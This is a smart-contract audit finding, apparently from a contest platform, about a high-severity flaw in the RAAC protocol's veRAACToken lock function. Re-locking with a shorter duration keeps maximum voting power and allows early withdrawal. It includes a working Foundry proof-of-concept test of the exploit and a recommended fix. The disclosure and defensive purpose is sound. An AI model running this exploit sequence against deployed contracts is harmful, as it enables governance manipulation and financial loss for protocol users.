Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Multiple Locking Vulnerability in VeraacToken Lock Function

Summary

The VeraacToken contract allows users to lock RAAC tokens in exchange for Veraac tokens, which serve as voting tokens. However, the lock function does not enforce proper restrictions on multiple lock calls. As a result, a user can first lock tokens for the maximum duration (thereby obtaining maximum voting power) and then re-lock the same tokens with a shorter duration. This flaw permits premature withdrawal and manipulation of voting power, compromising the intended locking mechanism and governance model.

Vulnerability Details

  • Lack of Proper Lock Differentiation:
    The lock function does not record distinct lock positions for each locking event or enforce a check that prevents a user from calling the function multiple times. This omission allows a user to override or reset lock parameters (such as the lock expiry) by re-locking tokens with a different duration.

  • Overriding Lock Conditions:
    Without proper differentiation, an attacker can:

    1. Lock tokens for the maximum allowed duration (e.g., 4 years) to obtain maximum voting power.

    2. Before the long lock expires, call the lock function again to lock the same tokens for a minimal duration (e.g., 1 year).

    3. Withdraw tokens earlier than intended while still having benefited from the long-duration lock's voting power.

  • Insufficient Update Mechanism:
    The contract provides functions like increaseLock or extendLock that only allow increasing the locked amount or extending the duration, but they do not handle separate locking positions. This lack of proper state management for multiple locks creates a vulnerability that can be exploited.

PoC

The following proof-of-concept (PoC) demonstrates the vulnerability. In this test scenario, a user locks tokens for the maximum duration to get maximum voting power and then locks the same tokens again with a shorter duration, allowing premature withdrawal:

pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../../../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../../../contracts/core/tokens/RAACToken.sol";
contract TestVeRaac is Test {
veRAACToken veRAAC;
RAACToken raac;
address defaultSender = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
address user = makeAddr("user");
uint256 duration = 365 days; // Minimum lock duration
uint256 depositamount = 100 ether;
uint256 mintamount = 1000 ether;
uint256 maxduration = 1460 days; // Maximum lock duration (approx. 4 years)
function setUp() public {
vm.startPrank(defaultSender);
raac = new RAACToken(defaultSender, 100, 50);
veRAAC = new veRAACToken(address(raac));
vm.stopPrank();
}
function testLockandWithdrawbefore() public {
deal(address(raac), user, mintamount);
vm.startPrank(user);
raac.approve(address(veRAAC), mintamount);
// First lock: maximum duration for maximum voting power
veRAAC.lock(depositamount, maxduration);
console.log("Balance of veRAAC after max lock:", veRAAC.balanceOf(user));
// Advance time and then lock again for a shorter duration
vm.warp(block.timestamp + 100 days);
veRAAC.lock(depositamount, duration);
console.log("Balance of veRAAC after re-lock with shorter duration:", veRAAC.balanceOf(user));
// Advance time beyond the short duration lock period
vm.warp(block.timestamp + 366 days);
veRAAC.withdraw();
console.log("Balance of veRAAC after withdrawal:", veRAAC.balanceOf(user));
}
}

Impact

Inflated Voting Power:
Attackers can obtain maximum voting power by exploiting the multiple locking vulnerability, which may influence governance decisions disproportionately.
Premature Withdrawal:
Users can withdraw their locked tokens earlier than intended, undermining the purpose of the locking mechanism and destabilizing the protocol's economic model.
Governance Manipulation:
The ability to manipulate lock durations can lead to unfair governance advantages, impacting the protocol's decision-making and overall trust.

Tools Used

Manual review and writing test

Recommendations

Implement Distinct Lock Tracking:
Use a mapping or structured data (e.g., lock IDs mapped to individual lock details) to record each lock separately. This approach will prevent a new lock call from overriding an existing lock.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::lock called multiple times, by the same user, leads to loss of funds

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.